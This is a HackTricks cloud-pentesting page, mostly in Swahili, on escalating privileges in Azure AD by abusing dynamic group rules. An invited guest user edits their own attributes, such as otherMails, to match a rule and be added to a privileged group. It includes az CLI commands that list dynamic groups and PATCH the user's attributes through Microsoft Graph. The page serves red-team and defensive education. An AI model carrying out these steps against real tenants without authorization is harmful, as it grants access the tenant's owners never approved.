Az - Dynamic Groups Privesc

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Dynamic groups ni vikundi ambavyo vina seti ya rules zilizowekwa na watumiaji wote au devices wanaolingana na sheria hizo wanaongezwa kwenye kundi. Kila wakati attribute ya mtumiaji au kifaa inapo badilishwa, sheria za dynamic zinarejelewa. Na wakati sheria mpya inapo undwa, vifaa vyote na watumiaji vinakaguliwa.

Vikundi vya dynamic vinaweza kuwa na Azure RBAC roles zilizotolewa kwao, lakini haiwezekani kuongeza AzureAD roles kwenye vikundi vya dynamic.

Kipengele hiki kinahitaji leseni ya Azure AD premium P1.

Privesc

Kumbuka kwamba kwa default mtumiaji yeyote anaweza kuwalika wageni katika Azure AD, hivyo, ikiwa sheria ya kundi la dynamic inatoa permissions kwa watumiaji kulingana na attributes ambazo zinaweza kuwekwa kwa mgeni mpya, inawezekana kuunda mgeni mwenye attributes hizi na kuinua mamlaka. Pia inawezekana kwa mgeni kusimamia wasifu wake mwenyewe na kubadilisha attributes hizi.

Pata vikundi vinavyoruhusu Uanachama wa Dynamic: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Example

  • Rule example: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Rule description: Mtumiaji yeyote wa Mgeni mwenye barua pepe ya pili yenye maandiko 'security' ataongezwa kwenye kundi

Kwa barua pepe ya mtumiaji wa Mgeni, kubali mwaliko na angalia mipangilio ya mtumiaji huyo katika https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Kwa bahati mbaya, ukurasa haukuruhusu kubadilisha thamani za attribute hivyo tunahitaji kutumia API:

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks